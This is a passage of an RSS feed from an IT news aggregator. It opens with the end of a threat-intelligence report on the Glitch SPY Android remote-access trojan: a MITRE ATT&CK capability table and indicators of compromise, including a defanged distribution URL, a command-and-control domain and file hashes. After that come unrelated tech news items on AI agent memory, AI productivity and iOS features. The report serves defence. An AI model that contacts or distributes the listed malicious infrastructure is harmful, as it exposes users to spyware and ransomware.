<td>Defense Evasion (<a href="https://attack.mitre.org/tactics/TA0030">TA0030</a>)</td>
<td>Masquerading: Match Legitimate Name or Location (<a href="https://attack.mitre.org/techniques/T1655/001/">T1655.001</a>)</td>
<td>Glitch SPY masquerades as a Polish rental application</td>
</tr>
<tr>
<td>Defense Evasion (<a href="https://attack.mitre.org/tactics/TA0030">TA0030</a>)</td>
<td>Input Injection (T1516)</td>
<td>Glitch SPY can perform actions such as Clicks, swipes, gestures, and enter text into edit fields.</td>
</tr>
<tr>
<td>Credential Access (<a href="https://attack.mitre.org/tactics/TA0030">TA0030</a>)</td>
<td>Abuse Accessibility Features (<a href="https://attack.mitre.org/techniques/T1453/">T1453</a>)</td>
<td>Glitch SPY abuses Accessibility service</td>
</tr>
<tr>
<td><strong> </strong></td>
<td>Input Capture: Keylogging (<a href="https://attack.mitre.org/techniques/T1417/001/">T1417.001</a>)</td>
<td>Glitch SPY includes a Keylogging module  </td>
</tr>
<tr>
<td>Discovery (<a href="https://attack.mitre.org/tactics/TA0032">TA0032</a>)</td>
<td>Software Discovery  (<a href="https://attack.mitre.org/techniques/T1418/">T1418</a>)</td>
<td>Glitch SPY collects installed applications</td>
</tr>
<tr>
<td>Discovery (<a href="https://attack.mitre.org/tactics/TA0032">TA0032</a>)</td>
<td>File and Directory Discovery (<a href="https://attack.mitre.org/techniques/T1420/">T1420</a>)</td>
<td>Glitch SPY can enumerate files from external storage</td>
</tr>
<tr>
<td>Discovery (<a href="https://attack.mitre.org/tactics/TA0032">TA0032</a>)</td>
<td>Location Tracking (<a href="https://attack.mitre.org/techniques/T1430/">T1430</a>)</td>
<td>Glitch SPY can collect device location</td>
</tr>
<tr>
<td>Discovery (<a href="https://attack.mitre.org/tactics/TA0032">TA0032</a>)</td>
<td>System Information Discovery (<a href="https://attack.mitre.org/techniques/T1426/">T1426</a>)</td>
<td>Glitch SPY can collect device information</td>
</tr>
<tr>
<td>Collection (<a href="https://attack.mitre.org/tactics/TA0035">TA0035</a>)</td>
<td>Archive Collected Data (<a href="https://attack.mitre.org/techniques/T1532/">T1532</a>)  </td>
<td>Glitch SPY compresses the external storage directories as a zip file before sending</td>
</tr>
<tr>
<td>Collection (<a href="https://attack.mitre.org/tactics/TA0035">TA0035</a>)</td>
<td>Screen Capture (<a href="https://attack.mitre.org/techniques/T1513/">T1513</a>)</td>
<td>Glitch SPY captures screen content</td>
</tr>
<tr>
<td>Collection (<a href="https://attack.mitre.org/tactics/TA0035">TA0035</a>)</td>
<td>Audio Capture (<a href="https://attack.mitre.org/techniques/T1429/">T1429</a>)</td>
<td>Glitch SPY can capture Audio</td>
</tr>
<tr>
<td>Collection (<a href="https://attack.mitre.org/tactics/TA0035">TA0035</a>)</td>
<td>Clipboard Data (T1414)</td>
<td>Malware can monitor Clipboard content</td>
</tr>
<tr>
<td>Collection (<a href="https://attack.mitre.org/tactics/TA0035">TA0035</a>)</td>
<td>Data from Local System (<a href="https://attack.mitre.org/techniques/T1533/">T1533</a>)</td>
<td>Malware collects encrypted files from external storage</td>
</tr>
<tr>
<td>Collection (<a href="https://attack.mitre.org/tactics/TA0035">TA0035</a>)</td>
<td>Protected User Data: Contact List (<a href="https://attack.mitre.org/techniques/T1636/003/">T1636.003</a>)</td>
<td>Malware collects contact details</td>
</tr>
<tr>
<td>Collection (<a href="https://attack.mitre.org/tactics/TA0035">TA0035</a>)</td>
<td>Protected User Data: SMS Messages (<a href="https://attack.mitre.org/techniques/T1636/004/">T1636.004</a>)</td>
<td>Glitch SPY collects SMS data</td>
</tr>
<tr>
<td>Collection (<a href="https://attack.mitre.org/tactics/TA0035">TA0035</a>)</td>
<td>Protected User Data: Accounts (<a href="https://attack.mitre.org/techniques/T1636/005/">T1636.005</a>)</td>
<td>Malware collects Account information</td>
</tr>
<tr>
<td>Collection (<a href="https://attack.mitre.org/tactics/TA0035">TA0035</a>)</td>
<td>Protected User Data: Call Log (<a href="https://attack.mitre.org/techniques/T1636/002/">T1636.002</a>)</td>
<td>Glitch SPY collects Call logs</td>
</tr>
<tr>
<td>Command &amp; Control (<a href="https://attack.mitre.org/tactics/TA0037">TA0037</a>)</td>
<td>Application Layer Protocol (<a href="https://attack.mitre.org/techniques/T1437/">T1437</a>)</td>
<td>Glitch SPY communicates with C2 over TCP</td>
</tr>
<tr>
<td>Exfiltration (<a href="https://attack.mitre.org/tactics/TA0036">TA0036</a>)</td>
<td>Exfiltration Over C2 Channel (<a href="https://attack.mitre.org/techniques/T1646/">T1646</a>)</td>
<td>Glitch SPY exfiltrates data to the C&amp;C server</td>
</tr>
<tr>
<td>Impact (<a href="https://attack.mitre.org/tactics/TA0034">TA0034</a>)</td>
<td>Data Encrypted for Impact (<a href="https://attack.mitre.org/techniques/T1471/">T1471</a>)</td>
<td>Malware encrypts all the files present on the device with the .enc extension</td>
</tr>
<tr>
<td>Impact (<a href="https://attack.mitre.org/tactics/TA0034">TA0034</a>)</td>
<td>Data Destruction (<a href="https://attack.mitre.org/techniques/T1662/">T1662</a>)</td>
<td>Glitch SPY deletes all plain-text files after encryption</td>
</tr>
</tbody>
</table>
</figure>
<p><!-- /wp:table --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Indicators of Compromise (IOCs)<strong></strong></h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:table --></p>
<figure class="wp-block-table">
<table class="has-fixed-layout">
<tbody>
<tr>
<td><strong>Indicators</strong></td>
<td><strong>Indicator type</strong></td>
<td><strong>Description</strong></td>
</tr>
<tr>
<td>hxxps://tutaj-dompl[.]com/Tutajdom.apk</td>
<td>URL</td>
<td>Distribution URL</td>
</tr>
<tr>
<td>sportypointsrewards[.]com</td>
<td>Domain</td>
<td>C&amp;C server</td>
</tr>
<tr>
<td>80af5e921cf8a3052fe4483bb2eb15953590e72ed003ac61c0b9135575c32075</td>
<td>FileHash-SHA256</td>
<td>Glitch SPY Hash</td>
</tr>
<tr>
<td>d439475bf09af7b474cdba2c19e136a1dd38e62b088537445ac3c8e4c2d3a8b1</td>
<td>FileHash-SHA256</td>
<td>Brokewell Loader</td>
</tr>
</tbody>
</table>
</figure>
<p><!-- /wp:table --></p>
<p>The post <a rel="nofollow" href="https://cyble.com/blog/glitch-spy-rat-distributed-via-fake-polish-app/">Glitch SPY: An Emerging Android RAT Distributed Through a Fake Polish Rental App</a> appeared first on <a rel="nofollow" href="https://cyble.com/">Cyble</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Internet down? 3 ways I use an old Android phone as a backup connection for my home router]]></title>
<description><![CDATA[I needed a way to connect my phone to my router, and have it work reliably. Turns out, I have 3 options (and I saved the best for last).]]></description>
<link>https://tsecurity.de/de/3633579/it-nachrichten/internet-down-3-ways-i-use-an-old-android-phone-as-a-backup-connection-for-my-home-router/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3633579/it-nachrichten/internet-down-3-ways-i-use-an-old-android-phone-as-a-backup-connection-for-my-home-router/</guid>
<pubDate>Mon, 29 Jun 2026 19:02:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I needed a way to connect my phone to my router, and have it work reliably. Turns out, I have 3 options (and I saved the best for last).]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Use the New Menopause Tracking in Health in iOS 27]]></title>
<description><![CDATA[iOS 27 adds new menopause and perimenopause tracking tools inside the Health app, making it easier to log symptoms, review cycle changes, and receive alerts when your cycle patterns show possible changes linked to perimenopause. The feature sits inside Cycle Tracking, so users can manage period h...]]></description>
<link>https://tsecurity.de/de/3631339/ios-mac-os/how-to-use-the-new-menopause-tracking-in-health-in-ios-27/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3631339/ios-mac-os/how-to-use-the-new-menopause-tracking-in-health-in-ios-27/</guid>
<pubDate>Sun, 28 Jun 2026 19:22:43 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[iOS 27 adds new menopause and perimenopause tracking tools inside the Health app, making it easier to log symptoms, review cycle changes, and receive alerts when your cycle patterns show possible changes linked to perimenopause. The feature sits inside Cycle Tracking, so users can manage period history, symptoms, cycle factors, and menopause-related insights in one place.



Table of contentsSet Up Menopause Tracking in the Health AppLog Perimenopause and Menopause SymptomsCheck Cycle Deviation AlertsReview Your Menopause TrendsFAQsSummaryConclusion



Set Up Menopause Tracking in the Health App



Before using the new tools, update your iPhone to iOS 27 and make sure the Health app has Cycle Tracking enabled.




Open the Health app on your iPhone.



Tap Browse or Search.



Select Cycle Tracking.



Follow the setup prompts if you have not used Cycle Tracking before.



Add your age, recent period details, and cycle history where available.



Turn on notifications if you want alerts about cycle changes.




Log Perimenopause and Menopause Symptoms



The new tracking support lets you record symptoms that can appear during perimenopause or menopause, including hot flashes, sleep changes, mood changes, and irregular periods.




Open Health.



Go to Cycle Tracking.



Select the date you want to update.



Scroll to the symptom section.



Choose the symptoms you experienced.



Tap Done to save the entry.




Logging symptoms regularly helps the Health app show clearer patterns over time.



Check Cycle Deviation Alerts



iOS 27 can notify you when your logged cycle patterns suggest changes linked with perimenopause. These alerts depend on your saved cycle history, so they become more useful when you log consistently.




Open Health.



Tap your profile picture.



Go to Notifications.



Select Cycle Tracking.



Enable cycle deviation alerts.



Review alerts when they appear in the Health app.




These alerts are informational and should not replace medical advice.



Review Your Menopause Trends



The Health app shows your logged data in charts and summaries, which helps you understand changes across weeks or months.




Open Cycle Tracking.



Scroll through your cycle timeline.



Review symptom history and cycle changes.



Look for repeated patterns such as missed periods, irregular timing, or frequent symptoms.



Share important changes with your doctor if needed.




FAQs



Is menopause tracking available on all iPhones?It is part of iOS 27, so you need an iPhone that supports the update.



Can Apple Watch help with tracking?Yes, Apple Watch can support Cycle Tracking and temperature-based insights, depending on your model and settings.



Is this a medical diagnosis?No. The Health app gives tracking support and alerts, but a doctor should confirm any health concern.



Summary




Update your iPhone to iOS 27.



Open Health and set up Cycle Tracking.



Log menopause and perimenopause symptoms regularly.



Enable cycle deviation alerts.



Review trends and share useful data with your doctor.




Conclusion



The new menopause tracking in iOS 27 makes the Health app more useful for long-term reproductive health tracking. With symptom logs, cycle alerts, and trend summaries, users can better understand changes and keep important health information ready for medical visits.]]></content:encoded>
</item>
<item>
<title><![CDATA[Thermal cameras can spot problems you can't see - what I've learned after years of testing]]></title>
<description><![CDATA[Thermal cameras have saved me thousands over the years. Just the other day, one simple check saved me $1,000.]]></description>
<link>https://tsecurity.de/de/3631047/it-security-nachrichten/thermal-cameras-can-spot-problems-you-cant-see-what-ive-learned-after-years-of-testing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3631047/it-security-nachrichten/thermal-cameras-can-spot-problems-you-cant-see-what-ive-learned-after-years-of-testing/</guid>
<pubDate>Sun, 28 Jun 2026 14:37:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Thermal cameras have saved me thousands over the years. Just the other day, one simple check saved me $1,000.]]></content:encoded>
</item>
<item>
<title><![CDATA[New agentic memory framework uses 118K tokens per query. LangMem burns through 3.26M.]]></title>
<description><![CDATA[Long-horizon reasoning exposes a core weakness in AI agents: context windows fill up fast, and retrieval pipelines return noise instead of signal.To solve this, researchers at the National University of Singapore developed MRAgent, a framework that abandons the static "retrieve-then-reason" appro...]]></description>
<link>https://tsecurity.de/de/3628708/it-nachrichten/new-agentic-memory-framework-uses-118k-tokens-per-query-langmem-burns-through-326m/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3628708/it-nachrichten/new-agentic-memory-framework-uses-118k-tokens-per-query-langmem-burns-through-326m/</guid>
<pubDate>Sat, 27 Jun 2026 01:03:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Long-horizon reasoning exposes a core weakness in AI agents: context windows fill up fast, and retrieval pipelines return noise instead of signal.</p><p>To solve this, researchers at the National University of Singapore developed <a href="https://arxiv.org/abs/2606.06036">MRAgent</a>, a framework that abandons the static "retrieve-then-reason" approach. Instead, it uses a mechanism that allows an agent to dynamically develop its memory based on accumulating evidence. </p><p>This multi-step memory reconstruction is integrated into the reasoning process of the large language model (LLM). While not the only framework in this space, MRAgent significantly reduces token consumption and runtime costs compared to other agentic memory management approaches.</p><h2>The limits of passive retrieval in long-horizon tasks</h2><p>In classic retrieval pipelines, documents are retrieved through vector search or graph traversal and passed on to an LLM for reasoning. This passive approach fails because it cannot combine reasoning with memory access, creating three major bottlenecks:</p><ul><li><p>These systems cannot revise their retrieval strategy mid-reasoning. If an agent fetches a document and discovers a crucial missing cue — a specific date or person — it has no way to issue a new query based on that finding.</p></li><li><p>Fixed similarity scores and predefined graph expansions return surface-level matches that flood the LLM's context window with irrelevant noise, degrading reasoning.</p></li><li><p>Current systems rely heavily on pre-constructed structures such as top-k results and static relevance functions, limiting the flexibility required to scale across unpredictable, long-horizon user interactions.</p></li></ul><p>The researchers argue that to overcome these limitations, developers must shift toward an “active and associative reconstruction process,” a concept inspired by cognitive neuroscience. </p><p>Under this paradigm, memory recall unfolds sequentially rather than operating as a passive read-out of a static database. The system starts with small, specific triggers from the user's prompt, such as a person's name, an action, or a place. These initial hints point to connecting concepts or categories instead of massive blocks of text. </p><p>By following these metadata stepping stones, the agent gathers small pieces of evidence one by one. It uses each new piece of information to guide its next step until it successfully pieces together the full, accurate story.</p><h2>How MRAgent implements active memory reconstruction</h2><p>Instead of viewing memory as a static database, MRAgent (Memory Reasoning Architecture for LLM Agents) treats it as an interactive environment. When processing a complex query, the agent uses the backbone LLM’s reasoning abilities to explore multiple candidate retrieval paths across a structured memory graph. </p><p>At each step, the LLM evaluates the intermediate evidence it has gathered and uses it to iteratively optimize its search. It infers new search constraints, pursues the paths with the best information, and prunes irrelevant branches. This allows MRAgent to piece together deeply buried information without filling the LLM’s context with noise.</p><p>To make this active exploration computationally efficient and scalable, the framework organizes its database using a “Cue-Tag-Content” mechanism. This operates as a multi-layered associative graph with three node types:</p><ul><li><p><b>Cues</b>: Fine-grained keywords, such as entities or contextual attributes extracted from user interactions.</p></li><li><p><b>Content:</b> The actual stored memory units. These are divided into multi-granular layers, such as episodic memory for concrete events and semantic memory for stable facts and user preferences.</p></li><li><p><b>Tags:</b> Semantic bridges that summarize the relational associations between specific Cues and Content.</p></li></ul><p>This structure enables a highly efficient two-stage retrieval process. The LLM first navigates from Cues to candidate Tags. Because Tags explicitly expose the semantic relationships and structural associations of the data, the agent evaluates these short summaries to judge their relevance. The LLM identifies promising traversal paths and discards irrelevant branches before spending compute and prompt tokens to access the detailed, heavy memory contents.</p><p>For example, a user might ask an AI agent, "How did Nate use the prize money when he won his third video game tournament?"</p><ul><li><p>MRAgent first extracts fine-grained starting cues from the prompt, such as "Nate," "video game tournament," and "win."</p></li><li><p>The agent maps these initial cues to the memory graph and looks at the available associative Tags connected to them. The agent sees tags like "Tournament Victory" and "Tournament Participation.” Since it is only concerned with what the person did after they won the championship, MRAgent drops the tournament participation tag and pursues the victory tag.</p></li><li><p>The agent retrieves the episodic content linked to the chosen Cue-Tag pair, retrieving three distinct memory episodes where Nate won a tournament.</p></li><li><p>MRAgent looks at the three memories, decides one of them in particular is relevant to the query, and discards the other two.</p></li><li><p>With this information, it updates its cues and starts another round of discovery and pruning. From the new episodic memory it has retrieved, the agent adds “tournament earnings” to its cues and uses that to traverse new tags and home in on new memories. It repeats this process until it gathers enough information to answer the query, which could be something like “Nate saved the money.”</p></li></ul><h2>MRAgent performance on industry benchmarks</h2><p>MRAgent operates alongside several other frameworks addressing agentic memory building. Alternatives include <a href="https://venturebeat.com/ai/how-the-a-mem-framework-supports-powerful-long-context-memory-so-llms-can-take-on-more-complicated-tasks">A-MEM</a>, a graph-based agentic memory framework, and MemoryOS, a hierarchical memory framework. Other persistent memory frameworks include LangMem and <a href="https://venturebeat.com/ai/mem0s-scalable-memory-promises-more-reliable-ai-agents-that-remembers-context-across-lengthy-conversations">Mem0</a>.</p><p>The researchers tested MRAgent on the LoCoMo and LongMemEval industry benchmarks. These test the abilities of agents to resolve queries on long-horizon tasks and conversations across dozens of sessions and hundreds of turns of dialogue. The backbone models used were Gemini 2.5 Flash and Claude Sonnet 4.5. The system was tested against standard RAG, A-MEM, MemoryOS, LangMem, and Mem0. </p><p>MRAgent consistently outperformed every baseline across both models and all question types by a significant margin. </p><p>However, for enterprise developers, the most critical metric is often computational cost. In the LongMemEval tests, MRAgent slashed prompt token consumption to just 118k per sample. By comparison, A-Mem consumed 632k tokens, and LangMem burned through 3.26 million tokens per query. MRAgent also effectively halved the runtime compared to A-Mem, dropping from 1,122 seconds to 586 seconds.</p><p>What makes MRAgent efficient in practice is its on-demand behavior. Evaluating tags and pruning irrelevant paths before retrieval saves money and context space. Furthermore, the system autonomously evaluates its accumulated context and inherently knows when to stop searching, completely avoiding redundant data exploration.</p><h2>Implementation and development catch</h2><p>While MRAgent is highly effective, the Cue-Tag-Content structure needs to be prepared before the agent can query it. Developers must figure out how to architect the underlying memory database to enable the LLM to efficiently navigate associative items and prune irrelevant paths without exploding compute costs.</p><p>Fortunately, developers do not have to manually label or structure this data. The authors designed MRAgent with an automated distillation pipeline that uses LLMs to process raw interaction histories and automatically populate the memory graph. For a developer, the job is to implement and orchestrate this automated ingestion pipeline, rather than manually tag data.</p><p>You need to set up a background job or streaming pipeline that passes raw user interactions through prompt templates to extract this metadata before storing it in your graph database.</p><p>However, the authors emphasize that this is a lightweight construction phase and MRAgent intentionally keeps ingestion simple. </p><p>The authors have released the code on <a href="https://github.com/Ji-shuo/MRAgent">GitHub</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Botsitting’: The AI time-savings killer only governance can stop]]></title>
<description><![CDATA[One of AI’s biggest selling points is all the high-value tasks employees will be free to accomplish with the time saved using AI. Reality, however, remains far from that.



While IT workers and other employees do save several hours each week thanks to AI, more than half of that time is burned up...]]></description>
<link>https://tsecurity.de/de/3628660/it-security-nachrichten/botsitting-the-ai-time-savings-killer-only-governance-can-stop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3628660/it-security-nachrichten/botsitting-the-ai-time-savings-killer-only-governance-can-stop/</guid>
<pubDate>Sat, 27 Jun 2026 00:08:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>One of AI’s biggest selling points is all the high-value tasks employees will be free to accomplish with the time saved using AI. Reality, however, remains far from that.</p>



<p>While IT workers and other employees do save several hours each week thanks to AI, more than half of that time is burned up babysitting the technology, a new study reveals.</p>



<p>According to a <a href="https://www.glean.com/work-ai-institute/reports/work-ai-index-report?aliId=eyJpIjoiaHF2bUw0eWFlc1dmZzk3ayIsInQiOiIrcFdzMXlSd2NxWGl6czBUNjQ1OGhRPT0ifQ%253D%253D" rel="nofollow">survey from the Work AI Institute</a>, digital workers save an average of 11 hours a week through AI, but the net time savings is much less, because they spend 6.4 hours a week “botsitting.”</p>



<p>Botsitting involves activities such as feeding AI tools missing context, checking AI outputs, <a href="https://www.cio.com/article/4126094/who-will-be-the-first-cio-fired-for-ai-agent-havoc.html">debugging AI mistakes</a>, rerunning prompts, and <a href="https://www.cio.com/article/4077448/ai-workslop-the-new-productivity-killer-only-training-can-stop.html">cleaning up the confident-but-wrong answers</a> they leave behind, as defined by the Work AI Institute, a research group founded by AI copilot and search provider Glean.</p>



<p>The botsitting problem is real, several IT leaders agree, and it has serious implications for IT organizations. In many cases, organizations aren’t training their employees to effectively use AI, says <a href="https://www.linkedin.com/in/talcarmi/" rel="nofollow">Tal Carmi</a>, CIO at digital adoption platform provider WalkMe.</p>



<p>WalkMe’s <a href="https://www.walkme.com/the-state-of-digital-adoption-2026/" rel="nofollow">2026 State of Digital Adoption report</a> found similar results, with employees losing nearly eight hours a week to botsitting, Carmi notes. At the same time, most employees use AI for shallow tasks like writing emails because they don’t trust it for more complex activities, WalkMe found.</p>



<p>As a result, enterprises aren’t getting the full ROI of their AI purchases, Carmi says, a significant issue for CIOs and organizations in general.</p>



<h2 class="wp-block-heading">Hours wasted</h2>



<p>Going into the survey, researchers at the Work AI Institute suspected botsitting was a problem for many organizations, but the results were eye-opening, according to <a href="https://www.rebeccahinds.com/" rel="nofollow">Rebecca Hinds</a>, founder of the organization.</p>



<p>“The surprise was how prevalent it is,” she says. “The fact is that workers are spending roughly the same share of their AI time botsitting as they are using the technology to move work forward.”</p>



<p>Moreover, while 87% of digital workers, and 97% of IT workers, said they use AI at their jobs, only 13% believe their use of the tools has led to significantly improved performance or outcomes.</p>



<p>Part of the problem is a phenomenon Hinds calls “coordination neglect.” Employees often focus on their own productivity without considering the broader benefits to the organization, she says. As a result, their AI-assisted work sometimes conflicts with another employee’s work.</p>



<p>“I can use the technology to, say, convert a single bullet point into a five-page report,” she says. “I can then ship that five-page report to a colleague, but the colleague sees that it’s so much content. They can use the same AI tool to then convert the five-page report back into a series of bullet points.”</p>



<p>In some cases, employees do divert AI time savings to personal activities, but the most common use of the time saved, according to survey respondents, is to improve the quality of their work, Hinds says. Overall, however, organizations aren’t seeing a major quality improvement, she adds.</p>



<p>Shipping AI-generated work that workers haven’t verified, don’t fully understand, or can’t confidently stand behind is a significant issue, according to the AI Work Institute report.</p>



<p>And then there’s the “AI toggle tax” — when employees switch between multiple AI tools to do their jobs, which leads to additional unverified work. Moreover, as employees become overwhelmed with <a href="https://www.cio.com/article/4132287/taming-agent-sprawl-3-pillars-of-ai-orchestration.html?utm=hybrid_search">AI tool sprawl</a>, they <a href="https://papers.ssrn.com/sol3/papers.cfm?abstract_id=6097646" rel="nofollow">cognitively offload</a> their work to AI.</p>



<p>“They hand more of their thinking and judgment over to the machine,” the report says. “They start to cut corners. They stop checking outputs, verifying sources, and asking whether the AI’s recommendations make any sense.”</p>



<h2 class="wp-block-heading">Governance problems at the core</h2>



<p>Botsitting, and giving in to AI slop, are real but also symptoms of a larger governance problem, says <a href="https://www.linkedin.com/in/frankmeltke/" rel="nofollow">Frank Meltke</a>, CEO of digital transformation consulting firm contraco.</p>



<p>“Workers are spending nearly a full day verifying AI output because nobody at deployment defined what verification was required, who owned it, or what good output looks like before it moves downstream,” he says. “That is a governance gap, not a tool problem.”</p>



<p>Meltke also doubts there’s a net time-savings gain of four-plus hours per employee each week when their fellow workers sometimes must redo their AI-assisted outputs.</p>



<p>More than two-thirds of digital workers surveyed admit to shipping AI-assisted outputs they have not verified, he notes. “That output lands on someone else downstream, usually without context to fix it,” he says. “The 4.6-hour net gain at the individual level gets absorbed invisibly at the team level as rework nobody budgeted for.”</p>



<p>This phenomenon explains why time savings observed by individual employes does not show up in organizational performance, he adds. “The productivity gain was never real savings,” Meltke says. “It was a transfer of labor from the person who generated the output to the person who inherited it.”</p>



<p>Not all botsitting is a bad thing, however, says <a href="https://www.clickboarding.com/about-us/adam-wachtel/" rel="nofollow">Adam Wachtel</a>, CTO at HR platform Click Boarding. Verifying outputs, iterating on prompts, and adding domain context for the AI tool to use are good engineering practices, when done right, he notes.</p>



<p>“The issue is that organizations aren’t distinguishing between what’s worth doing versus a symptom of a poorly deployed tool,” he says.</p>



<p>A big problem is a lack of context for AI tools, he suggests. “When AI tools don’t have access to accurate data and aren’t built in the right way to make their output usable, employees become the integration layer that re-explains a project to every tool and fixes what breaks,” Wachtel says.</p>



<p>Meanwhile, the 6.4 hours spent botsitting aren’t evenly distributed and instead fall on employees already engaged in detailed work, such as senior engineers, he says.</p>



<p>“You have others skipping that verification, thinking they’re saving 11 hours, and then may not be responsible for the mess that comes of it — often downstream when code breaks or a process stops working,” he adds.</p>



<p>Individual productivity gains don’t automatically add up to organizational ones, Wachtel adds. For example, if an engineer builds code faster, someone else may have to verify it. One employee’s time savings creates work for someone else.</p>



<p>Many organizations also struggle to measure quality of AI outputs, he adds. IT leaders should educate the full C-suite on the metrics that matter the most, <a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">rather than how many times an AI tool was used</a>, he recommends.</p>



<p>“Organizations are touting efficiency gains, but I don’t see a lot of chatter around agents’ accuracy, continuous improvement, or cost takeout that are more impactful to align to,” he says. “A lot of AI was developed and launched for speed rather than for impact, and so the right people weren’t involved or trained.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Mac Users Are Getting More Out of AI Creative Work]]></title>
<description><![CDATA[For a long time, the Mac's reputation as a creative machine rested on its hardware and native apps — Final Cut, Logic, the tight integration between a Retina display and color-accurate tools. AI has started to quietly rewrite that equation.



The shift isn't dramatic. Most Mac users haven't aban...]]></description>
<link>https://tsecurity.de/de/3627699/ios-mac-os/how-mac-users-are-getting-more-out-of-ai-creative-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3627699/ios-mac-os/how-mac-users-are-getting-more-out-of-ai-creative-work/</guid>
<pubDate>Fri, 26 Jun 2026 16:22:31 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[For a long time, the Mac's reputation as a creative machine rested on its hardware and native apps — Final Cut, Logic, the tight integration between a Retina display and color-accurate tools. AI has started to quietly rewrite that equation.



The shift isn't dramatic. Most Mac users haven't abandoned their existing workflows. But something is changing in how people approach the early, messier stages of creative work — ideation, iteration, rapid visual exploration — and AI tools are filling a gap that native apps never really addressed.



The Friction Nobody Talks About



The real challenge with AI-assisted creative work isn't capability. The models are impressive. The friction is operational: too many platforms, too many tabs, too much manual handoff between steps.



A typical session might involve generating an image in one tool, downloading it, uploading it somewhere else for background removal, switching to another service for video conversion, and then losing track of which version came from which prompt. This kind of tool-hopping breaks the focused state that creative work depends on.



Mac users feel this acutely, because the platform has always rewarded deep, single-environment focus. The friction isn't a technical problem — it's a workflow problem.



What's Actually Changing







The most useful AI tools emerging right now aren't necessarily the ones with the most powerful models. They're the ones that minimize context-switching.



This is showing up in a few different ways:



Unified canvas environments. Some tools are moving toward a visual, node-based interface — where discrete AI tasks (image generation, background swap, video conversion) connect to each other on an infinite canvas, with outputs flowing directly from one step to the next. For Mac users who think spatially and work across large or multiple displays, this approach fits naturally. 



Multi-model access in one place. Rather than holding separate subscriptions to GPT Image 2, Seedance, Kling, Midjourney, or other services, users increasingly want a single interface where different models can be called on for different tasks within the same session. Banana Pro AI is one platform taking this direction — the model becomes a tool choice, not a platform commitment.



Reusable workflow templates. Once a pipeline is built — say, a product photo → model integration → short video sequence — it can be saved and rerun with new inputs. Tools like Workflow Studio make this possible without rebuilding from scratch each time. The setup cost is paid once, which matters most to anyone managing a content catalog or running regular production cycles.



The Mac Advantage in This Context



None of this is Mac-exclusive. But there are reasons Mac users tend to adopt these kinds of tools quickly.



The platform's culture has always favored deep tool mastery over constant app-switching. When a creative environment reduces friction and rewards learning its structure, Mac users lean in. The spatial thinking that makes tools like Figma, Miro, or even Xcode feel natural translates well to canvas-based AI workflows.



The device ecosystem matters too. Heavy work happens at a desk — MacBook Pro, external display, the full setup. But review, approval, and light adjustment increasingly happen on an iPhone. Tools that sync across both contexts fit into how Mac users already move through their day.



The Shift in Creative Roles



What AI actually changes isn't the final output — it's who can generate a first draft, and how quickly.



A solo designer can now run product photography variations, motion concepts, and visual alternates in a single session that would have previously required a photographer, a video editor, and several rounds of back-and-forth. The creative direction still comes from the person. The labor-intensive middle steps increasingly don't.



This doesn't collapse the value of craft. If anything, it raises the bar for creative judgment — because the bottleneck is no longer production capacity, it's the quality of decisions made at each step. Mac users who treat these tools as leverage for their existing skills, rather than replacements for them, tend to get the most out of them.



A Practical Reality



The honest version of this story isn't that AI has transformed creative work overnight. Most professionals are still figuring out where it fits and where it doesn't.



What has changed is that the experimentation cost has dropped. Trying a visual direction, running a quick motion test, exploring a product presentation format — these used to require either significant time or significant budget. They increasingly don't.



For Mac users with an existing creative practice, that's not a disruption. It's an expansion of what's possible in a single afternoon's work.]]></content:encoded>
</item>
<item>
<title><![CDATA[The dark side of AI success: What your employees know that the board doesn’t]]></title>
<description><![CDATA[A recent article on CIO.com made a sharp observation that deserves to be taken further. The author’s core argument: Organizations are reporting AI activity to their boards — tools purchased, pilots launched, licenses deployed — while quietly avoiding the harder question of whether any of it has a...]]></description>
<link>https://tsecurity.de/de/3626852/it-security-nachrichten/the-dark-side-of-ai-success-what-your-employees-know-that-the-board-doesnt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626852/it-security-nachrichten/the-dark-side-of-ai-success-what-your-employees-know-that-the-board-doesnt/</guid>
<pubDate>Fri, 26 Jun 2026 11:06:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



